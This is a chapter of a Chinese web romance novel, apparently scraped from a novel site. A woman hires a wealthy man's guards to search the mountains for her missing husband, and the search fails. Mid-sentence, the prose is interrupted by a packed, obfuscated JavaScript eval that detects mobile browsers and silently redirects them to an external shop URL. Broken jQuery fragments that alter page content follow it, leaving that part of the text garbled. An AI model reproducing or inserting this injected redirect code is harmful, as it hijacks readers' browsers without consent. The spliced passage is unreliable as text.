文趣网 > 其他小说 > 死遁的亡夫们都回来了 > 6. 寻人
    乡邻们拿着农具在山中找了一整日,却丝毫不见晁璃的踪影。

    更深入的大山,饶是他们人多也不敢再往里进了,那深山里有大蛇猛兽,普通人进去根本没活路。

    因此他们回来时,看向桑芜的眼神里带了些惋惜。

    生了这幅好样貌,偏偏是个命苦的,眼瞅着,这第三任夫婿怕是又没了,人们只得劝她看开些。

    桑芜不相信,她觉得晁璃不会这样轻易地丢了命,他可能是猎到鹿的人,而且他心眼子那么多,最会躲懒了,怎么可能为了打猎命都不要,可能只是迷路了。

    但山里危险,她也不可能让叔伯们为了她进深山里冒险。

    该怎么办?

    一个人的院子安静得过分,桑芜想了很久。

    最终,她进屋打开了藏钱的那个匣子,将攒的银子倒出来,这里头是她所有的家当了。

    银钱碰撞的声音很沉闷,像桑芜此刻的苦闷心情。

    其实爹娘留给她的,前两任亡夫留给她的加起来不算少,但这些年的吃用,再加上救治晁璃花掉的,这匣子剩的也就三十多两银子,对寻常农家来说当然算是十分富庶了。

    可若是想进城寻武艺高强的侠士帮她进山寻人,也不知够不够。

    她平日里是个很小气的人,晁璃之前笑话她是守财奴,可是花她钱最多的就是他了。

    桑芜恶狠狠的想,等找到人,她一定要让晁璃天天干苦力活赚回给他花的银子!

    翌日,桑芜难得早起,她匆匆收拾了几下就背上包袱打算进城。

    许久没去过城里了,山路崎岖,她一个人上路还是有些害怕,但好在,因这几日山中果子陆续成熟,许多人要去城中卖枇杷、桃子等时令果蔬,镇上另一户有牛的人家赶了牛车。

    桑芜成功搭上车,按惯例付了一文钱的车费。

    路上婶娘们听说她进城是要去雇行家去山里寻人,虽没说什么,但眼神里都是同情。

    昨日回来的人都议论开了,纷纷猜测她这位相公只怕是凶多吉少。

    而与此同时,桑芜克夫的说法也在背地里传开了。

    若是别人他们自然不会有此联想,可桑芜不一样,这已经是第三任夫婿了,甚至这个命丢的更快,这才成婚不到半年的功夫呢!

    昨晚上,那些个对桑芜还有想法的儿郎们,都没少被家里人告诫。

    这世上没有两全其美的好事,老天叫她生的这般好容颜,定拿走了些别的什么,譬如六亲缘浅,孤苦无依之类的,不少人暗暗摇头,他们看在同族人的份平日照顾一二可以,但叫自家儿郎将人娶回来是万万不可的。

    一时之间,牛车上气氛有些诡异。

    好不容易捱到了麓郡,桑芜就要下车,赶车的张叔叫住她,好心告知,想寻点有真功夫的,得去镖行。

    镖师虽然一般是押运货物或者保护人,但这种寻人的活计,他们也不是不接。

    他们都没想过要去官府找差役报案寻找,这年头,报了案也没回信儿,根本不会有差役真的上山去找,打点差役的银子可比找镖行贵多了。

    “谢谢张叔。”

    桑芜道过谢,按照他说的去找镖行,不过麓郡很大,镖行与农人来卖山货的摊位不在同一街道,她很是花了一番功夫才找到镖行。

    那镖行门口还停着辆华贵的马车,她从前进城只见过牛车或是驴车,那骏马打了个响鼻,神气的很,连带着候在一旁的小厮看人都十分神气。

    桑芜瞧了瞧镖局的招牌,又提紧了手上的包裹,内心有些踌躇,不知这家镖行要价是不是她能承担的,可再心疼银子,她还是咬牙朝门口走了过去。

    可刚走上前,却被叫住了。

    那小厮斜眼打量了这戴着帷帽的女子两眼,见她穿着穷酸,语气毫不掩饰自己的鄙夷:“喂,你站住。”

    桑芜不明所以,回头见这小厮高高在上的眼神,心中有些不舒服,问:“怎么了?”

    “你瞧不出来?”那小厮脸上尽是与有荣焉的优越感,“这家镖行被我们家郎君买下了,以后这所有的镖师都是我家郎君的护卫,你是哪来的村妇,还不赶紧走一边去。”

    “什么?”

    听到这话,桑芜脸色顿时变了,她也顾不上心疼银子了,赶紧道:“可否通融一下,我有紧要的事需要雇镖师,你家郎君能匀两个人手给我吗?我付银钱的!”

    “去去去,当我家郎君什么人,会稀罕你这两个子儿?”

    如果不是因为城中就这一家镖行,桑芜也不会过多纠缠,她试图讲理,说:“你家郎君一个人应当用不着这么多护卫,我只需要雇佣两人,或者一人也行,约莫四五日就行,你让我同你家郎君说说可以吗?”

    “不行就是不行,我家郎君何等尊贵,别说这些护卫,就是再多也雇得起!”

    那小厮趾高气昂,说着就挥手驱赶桑芜,桑芜本身就想趁他不备往院子里走,被这一推直接摔倒在了门口,头上的帷帽也被甩了下来。

    手肘撑在粗糙的地面上霎时被擦破了皮,火辣辣的疼,而没了帷帽的遮挡,刺眼的阳光照得她不由自主闭了闭眼,眸中有莹莹泪光闪烁,不只那小厮看呆了,路过的人也看呆了。

    帷帽轻纱之下,竟掩着这般惊鸿之姿!纵是荆钗布裙,铅华尽弃,亦难损其琼姿玉质分毫,反而更诠释了什么叫清水出芙蓉,天然去雕饰,一颦一笑都独具风情。

    “姑娘,你没事吧?”

    面前伸过来一只手,桑芜往上看,见是一名衣着不俗的男子,容貌也可称得上俊朗,正关切地看着自己,眼中还有些许未收敛的惊艳,而方才还耀武扬威的那小厮此刻缩着脖子恭敬叫了声“郎君”。

    桑芜侧身,避开他的手,忍痛捡起帷帽自己爬了起来,没有说话。

    似乎也觉得自己的举动不妥,男子温和道:“不好意思,家中恶仆缺乏管束,惊扰了姑娘还望恕罪。”

    说着,他又对仆从轻呵道:“还不给这位姑娘道歉!”

    “是。”那小厮见主子生气,连忙对桑芜讨好赔罪,“对不起,是小人鲁莽,还望姑娘大人不记小人过,饶了小人这一回吧。”

    桑芜虽然气这刁奴,但不想跟这些城里人过多纠缠,况且还有求于人,便没多说什么。

    倒是那青年男子,十分有眼色,问道:“不知姑娘来此有何事?”

    见他提到正事,桑芜连忙说:“我想雇几位镖师,可听说这家镖行已被买下

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631292|206358||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,不知能否通融一下?”

    听她这样说,那青年男子好脾气的笑了笑:“这等小事,自当应允,还不知姑娘雇人做什么?可有我帮得上忙的地方?”

    桑芜摇摇头,只简短的说:“我想雇几个人帮我上山寻人,深山危险,需要功夫好些的。”

    “可是姑娘的家人在山中走丢了?”

    听他一口一个姑娘,桑芜不太适应,又听他打探自己家中情况,微微蹙眉,索性说道:“是我夫君,他进山打猎寻不着路了。”

    “哦?”男子似乎有些意外她竟然已经成婚了,脸上浮起惊讶之色,不过很快便收敛好。

    他略微沉吟片刻,道:“若是进山,仅仅几人只怕是不够,不如我让这些护卫全都出动,帮姑娘去寻家人,只当是为方才恶仆冲撞姑娘的赔罪。”

    “这……”桑芜没想到对方这么热情,不过人多也能快些找到晁璃,就是不知道她的银钱够不够,她有些担心,“不知需要多少银子?”

    似乎没想到她会这样问,那男子不禁笑了,似乎是被她逗笑。

    身后那小厮立马很有眼色地道:“姑娘,我家郎君可是陈家大郎,诚心想帮你,怎么会收你的银钱呢。”

    那陈大郎摆摆手说:“在下陈瑜,既是赔罪,又怎好收银子,寻人的事耽搁不得,姑娘不妨带路吧,我即刻命人出发。”

    桑芜有点不敢相信,被帷帽掩住的眸中没有对遇见好心人的感激,反倒是见着财主家傻儿子的震惊。

    她是想不明白怎会有人这样人傻钱多,几番推辞以后,只得应下,她还急着去寻人,毕竟多耽搁一会儿晁璃就多些危险。

    乡邻们见桑芜真的请回来这样多人,顿时惊讶不已,纷纷过来看热闹,那二十几名护卫带着弓箭与干粮进了山,按照桑芜描述的特点进山去找人。

    等人都进了山,有人跟她打探请来这些人的价钱,桑芜没有心思应付,内心忐忑地回了家等候消息。

    这一等就是五日,直到五日后护卫们下山,队伍中却仍旧没有那个熟悉的身影。

    领头的护卫冲她摇了摇头,说:“我们已经深入了深山腹地,却没有见到有人的踪迹,再往前便是横亘在前面的悬崖深谷,已经走不过去了,只得退回来。”

    他话没有明说,找了这么多天都不见踪迹,要么已经被野兽吞入腹中,要么就是摔下悬崖,无论是哪种,都尸骨无存。

    “还请夫人节哀。”

    桑芜一个踉跄,差点要站不稳,她根本不敢相信晁璃就这么死了。

    他怎么会死呢?明明那只是一个很寻常早晨,他很寻常的上山。

    后面的场面话她都说不出来了,领头的那护卫看着约莫三十多,长相憨厚,见桑芜这幅大受打击的模样,叹了口气,但还是低声提醒道:“夫人,您若无事,近期就不要进城了。”

    他是原先那镖局的老板,可是郡守的侄子说要买下镖行以备之后到异地走马上任,他不卖也得卖,但好在他们不用卖身给人做家奴,只是签了契书的护院。

    也因此,他实在忍不住要提醒一下这个命苦的小娘子,这样的美貌,又这样低微的出身可不是一件好事。

    那陈家大郎,可不是什么善心人。